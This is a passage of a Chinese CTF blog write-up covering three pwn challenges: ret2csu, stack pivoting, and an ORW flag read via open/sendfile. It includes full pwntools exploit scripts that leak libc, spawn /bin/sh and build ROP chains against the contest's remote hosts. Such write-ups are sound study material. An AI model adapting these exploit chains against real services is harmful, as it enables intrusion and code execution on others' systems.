.text:00000000004012A6 add rsp, 8
.text:00000000004012AA pop rbx
.text:00000000004012AB pop rbp
.text:00000000004012AC pop r12
.text:00000000004012AE pop r13
.text:00000000004012B0 pop r14
.text:00000000004012B2 pop r15
.text:00000000004012B4 retn
.text:00000000004012B4 ; } // starts at 401250

这边首先是add抬高了一位,当然我们直接栈溢出转过来的时候可以直接从下边的pop rbx开始

后边的内容可以看到基本上都是pop,一个个pop寄存器参数,弹给rbx,rbp,r12,r13,r14,r15

这边我们一般把rbx设置为0,方便后边call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]

就可以直接r15设置啥就是啥了,不用考虑rbx了

而同时我们也一般把rbp设置为1,因为这个后边就是add rbx,1和cmp,是1的话就和加1之后的rbp一样了,就不用跳转了

最后通过ret我们跳到下边这个第二段

接着看第二段

1
2
3
4
5
6
7
8
9
.text:0000000000401290 loc_401290:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290 mov rdx, r14
.text:0000000000401293 mov rsi, r13
.text:0000000000401296 mov edi, r12d
.text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D add rbx, 1
.text:00000000004012A1 cmp rbp, rbx
.text:00000000004012A4 jnz short loc_401290
.text:00000000004012A6

可以看到这边的顺序不是固定的,需要具体情况具体分析

这边是先把r14给了rdx,r13给了rsi,r12给了edi

这个时候rdi值是0,我们是可以控制rdi的值的

只需要把东西在第一段压入r12,之后执行mov edi, r12d的时候rdi就会被设置为r12的低32位了

call直接跳转到r15的位置,因为我们把rbp搞成0了

后边的jzn也已经被我们绕过了

最后这个第二段走完之后我们又会走到第一段,不过六个寄存器都没用了,随便设置就好了,我们只要控制好rdi,rsi,rdx三个寄存器即可,直接填充7*8个字符到返回地址之后设置返回地址即可

rdi,rsi,rdx就可以拿来填充write函数了

这边放一份脚本,也是tamoly师傅博客上的

1
2
3
4
5
6
7
8
9
10
11
12
13
def ret_csu(r12, r13, r14, r15, last):
payload = b'a'* offset #填充偏移量
payload += p64(csu1) + p64(0)
#p64(csu1) 到pop rbx,rbp,r12,r13,r14,r15
#p64(0) rsp+8的填充
payload += p64(0) + p64(1)
#rbx=0 call指令跳转到对应的地方(这里是跳转到r15)
#rbp=1 不重新执行2段
payload += p64(r12) + p64(r13) + p64(r14) + p64(r15)
#三个参数的寄存器(这里是rdi=edi=r12 rsi=r13 rdx=r14 r15是我们想调用的函数)
payload += p64(csu2)
payload+=b'a'*56+p64(last) #填充 最后返回地址
io.sendline(payload)

之后我们就开始针对这一题看吧,其实分析的蛮全面了,我们一开始构造栈溢出

1
payload = b'a'*offset

之后溢出后直接跳到第一段,然后一个个寄存器设置值,最后构造的是write(1,write_got,8)

1
2
3
payload += p64(csu1_addr)   #我跳过了那个add,所以这边不用p64(0),不然是需要的
payload += p64(0)+p64(1)
payload += p64(1)+p64(write_got)+p64(8)+p64(write_got)

设置完之后再到第二段即可跳转回去

1
payload += p64(csu2_addr)+b'a'*(7*8)+p64(main_addr)

来写exp吧,这题给了libc,不用search了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

io = remote('node5.anna.nssctf.cn', 21340)
elf = ELF('./ret2csu')
libc = ELF('./libc.so.6')

write_got = elf.got['write']
write_plt = elf.plt['write']
main_addr = elf.sym['main']

pop_rdi = 0x4012b3
ret = 0x40101a
csu1_addr = 0x4012aa
csu2_addr = 0x401290
offset = 0x100 + 8

payload = b'a' * offset
payload += p64(csu1_addr) #我跳过了那个add,所以这边不用p64(0),不然是需要的
payload += p64(0)+p64(1)
payload += p64(1)+p64(write_got)+p64(8)+p64(write_got)
payload += p64(csu2_addr)+b'a'*(7*8)+p64(main_addr)

io.recvuntil(b"Input:\n")
io.send(payload)

io.recvuntil(b"Ok.\n")
write_addr = u64(io.recvn(8))

log.success("write_addr = " + hex(write_addr))

libc_base = write_addr - libc.sym['write']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * offset
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh)
payload2 += p64(ret) # 栈对齐
payload2 += p64(system_addr)

io.recvuntil(b"Input:\n")
io.send(payload2)
io.interactive()

rbp

保护:

打开IDA分析


打开看到一个明显的栈溢出,但溢出空间不是很大,很小一个

需要我们栈迁移

main函数里边的初始化部分还存在一个sandbox函数

禁止execve,是一道ORW题目

栈溢出+栈迁移+ORW

利用最后的leave retn,我们可以实现栈迁移

注意这边实际上是在

1
2
mov rsp, rbp
pop rbp

所以我们返回的时候要从这个0x40127F开始,不然上边push rbp又给冲掉了

这样子就能把第二次的输入直接读到我们想要的位置了

好开始伪造rbp进行栈迁移,直接到.bss段

我们可以直接选落在 .bss/.data 所在那个 RW LOAD 段的已映射可写页里的一块空地方,比如是0x404800

所以我们第一次是先移到.bss段,再返回上边的位置再次获得以此输入机会

1
2
bss = 0x404800
payload1 = b'A' * 0x210 + p64(bss) + p64(0x40127F)

于是当前vuln执行完之后执行leave;ret,然后rbp=bss,rip=0x40127F

所以我们第二次read的时候读入位置会变成

1
[rbp - 0x210] = [0x404800 - 0x210] = 0x4045f0

这样子我们第二次输入就能直接读到.bss里边,因为第二次read的起点已经变成了bss-0x210,所以我们覆盖saved rbp=bss-0x210,saved rip=leave_ret

1
2
payload2 = p64(next_rbp) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
payload2 = Payload.ljust(0x210, b'\x00') + p64(bss - 0x210) + p64(leave_ret)

所以两次leave,ret之后rsp就会正式落到我们的fake stack上边去了,有了足够大的栈空间

之后就是要泄露libc_base地址了,我们直接利用puts函数传参,在第二次payload直接输出puts的真实地址即可

有了libc_base我们就可以直接拿来ORW了,大概就这样

1
2
3
open("./flag", 0)
read(3, flag_buf, 0x50)
write(1, flag_buf, 0x50)

传三参,我们需要rdi,rsi,rdx

有rdi,有rsi,但是没有rdx,所以我们还是需要去libc里边搞一个pop rdx;ret才行

还有就是这里记得要写”./flag\x00\x00”,保持八字节对齐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *
context.log_level = 'debug'
io = remote('node4.anna.nssctf.cn', 21685)

elf = ELF('./rbp')
libc = ELF('./libc.so.6')

# ---------------- 基本地址 ----------------
vuln = 0x40127f # 跳过函数序言,重新进入 read
leave_ret = 0x4012bf # 真正做 pivot 的 gadget
pop_rdi = 0x401353
pop_rsi_r15 = 0x401351
ret = 0x40101a # 对齐用

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

# ---------------- fake stack 规划 ----------------
# 注意:0x404800 不是“.bss 起点”,而是 RW 段同页里手动挑的一块干净区域
fake_rbp = 0x404800 # 第一次把 rbp 改到这里
stage2 = fake_rbp - 0x210 # 第二次输入实际落点
next_rbp = 0x404b00 # leak 完后,为第三次 read 准备的新 rbp
stage3 = next_rbp - 0x210 # 第三次输入实际落点
flag_buf = 0x404d80 # 读 flag 内容到这里

# ---------------- stage 1 ----------------
# 作用:不是真正执行 ROP,而是把下一次 read 的目标位置改到 .bss / RW 段
payload1 = b'A' * 0x210
payload1 += p64(fake_rbp) # 覆盖 saved rbp
payload1 += p64(vuln) # 覆盖 saved rip,回到 vuln+0xf
io.sendafter(b'try it\n', payload1)

# ---------------- stage 2 ----------------
# 作用:在 stage2 上铺 fake stack,真正 pivot 过去,然后 leak puts
#
# pivot 后的执行流:
# rbp = next_rbp
# rip = pop_rdi
# pop rdi -> puts_got
# call puts@plt
# return to vuln
#
payload2 = flat(
next_rbp, # 最后一次 leave 时会被弹进 rbp
pop_rdi,
puts_got,
puts_plt,
vuln
)

# 把 fake stack 区填满到 saved rbp / saved rip 的位置
payload2 = payload2.ljust(0x210, b'\x00')
payload2 += p64(stage2) # 覆盖本轮 saved rbp
payload2 += p64(leave_ret) # 覆盖本轮 saved rip,触发真正 pivot
io.sendafter(b'try it\n', payload2)

# 第二轮 puts(buf) 因为 payload2 开头是 next_rbp,最低字节通常是 \x00,所以只会打印一个空行
io.recvline()

# 接收 puts(puts_got) 打出来的真实地址
leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
log.success(f'libc base = {hex(libc.address)}')

# 同步到下一次 "try it"
io.recvuntil(b'try it\n')

# libc 里需要的地址
pop_rdx = libc.address + 0x142c92 # pop rdx ; ret
open_ = libc.sym['open']
read_ = libc.sym['read']
write_ = libc.sym['write']

# ---------------- stage 3 ----------------
# open("./flag", 0)
# read(3, flag_buf, 0x50)
# write(1, flag_buf, 0x50)
#

# 最后一次 leave 会把这 8 字节弹进 rbp,但后面不会再用 rbp,所以没关系。
payload3 = flat(
b'./flag\x00\x00',

# open("./flag", 0)
pop_rdi, stage3,
pop_rsi_r15, 0, 0,
ret, open_,

# read(3, flag_buf, 0x50)
pop_rdi, 3,
pop_rsi_r15, flag_buf, 0,
pop_rdx, 0x50,
ret, read_,

# write(1, flag_buf, 0x50)
pop_rdi, 1,
pop_rsi_r15, flag_buf, 0,
pop_rdx, 0x50,
ret, write_
)

payload3 = payload3.ljust(0x210, b'\x00')
payload3 += p64(stage3)
payload3 += p64(leave_ret)
io.send(payload3)

io.interactive()

拿ai完善了一下,清晰多了

不可名状的东西

保护:

打开IDA看看

可以看到这又是一个很明显的栈溢出以及栈迁移,因为给的栈空间很小,所以一开始是想构造一个栈迁移之后泄露libc_base然后直接system提权的,但是发现报错了

看了程序没看到有过滤,但是写了一个脚本回显了 SIGSYS ,看来execve被过滤了,只能利用ORW来做这道题

那跟上一题其实差不多,都是先利用栈溢出来进行栈迁移,最后利用ORW读出flag

唯一不太一样的是这一题的大小不够,ORW想全部执行空间不够,所以我们可以改用sendfile()函数来替代read()和write()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
io = remote("node6.anna.nssctf.cn", 22633)
elf = ELF("./level1")
libc = ELF("./libc.so.6")

puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
read_again = 0x4011ef
leave_ret = 0x40120f
pop_rdi = 0x4011c5
bss = 0x404200
stage2 = bss
next_rbp = bss + 0xa8
stage3 = bss + 0x28

io.recvuntil(b"name!")

payload1 = b"\x00" * 0x80
payload1 += p64(bss + 0x80)
payload1 += p64(read_again)
io.send(payload1)

payload2 = p64(next_rbp)
payload2 += p64(pop_rdi)
payload2 += p64(puts_got)
payload2 += p64(puts_plt)
payload2 += p64(read_again)
payload2 = payload2.ljust(0x80, b"\x00")
payload2 += p64(stage2)
payload2 += p64(leave_ret)
io.send(payload2)

io.recvline(timeout=2)
puts_addr = u64(io.recvn(6).ljust(8, b"\x00"))
libc_base = puts_addr - libc.sym["puts"]

pop_rsi = libc_base + 0x2be51
pop_rdx_rbx = libc_base + 0x904a9
pop_rcx = libc_base + 0x3d1ee

open_addr = libc_base + libc.sym["open"]
sendfile = libc_base + libc.sym["sendfile"]

# 其实就是在上一题基础上改成了open("./flag",0) + sendfile(1,3,0,0x40)
payload3 = b"./flag\x00\x00"

payload3 += p64(pop_rdi) + p64(stage3)
payload3 += p64(pop_rsi) + p64(0)
payload3 += p64(open_addr)

payload3 += p64(pop_rdi) + p64(1)
payload3 += p64(pop_rsi) + p64(3)
payload3 += p64(pop_rdx_rbx) + p64(0) + p64(0)
payload3 += p64(pop_rcx) + p64(0x40)
payload3 += p64(sendfile)

payload3 += p64(stage3) + p64(leave_ret)
io.send(payload3)

io.interactive()

也是终于复盘完了,完成了当年没完成的,只是最后的栈迁移和ORW还是不太熟练,还得再练练


2025-SWPU-NSSCTF(Pwn全)
https://mei-you-qian.github.io/2026/04/21/2025-SWPU-NSSCTF(Pwn全)/
作者
Meiyouqian
发布于
2026年4月21日
许可协议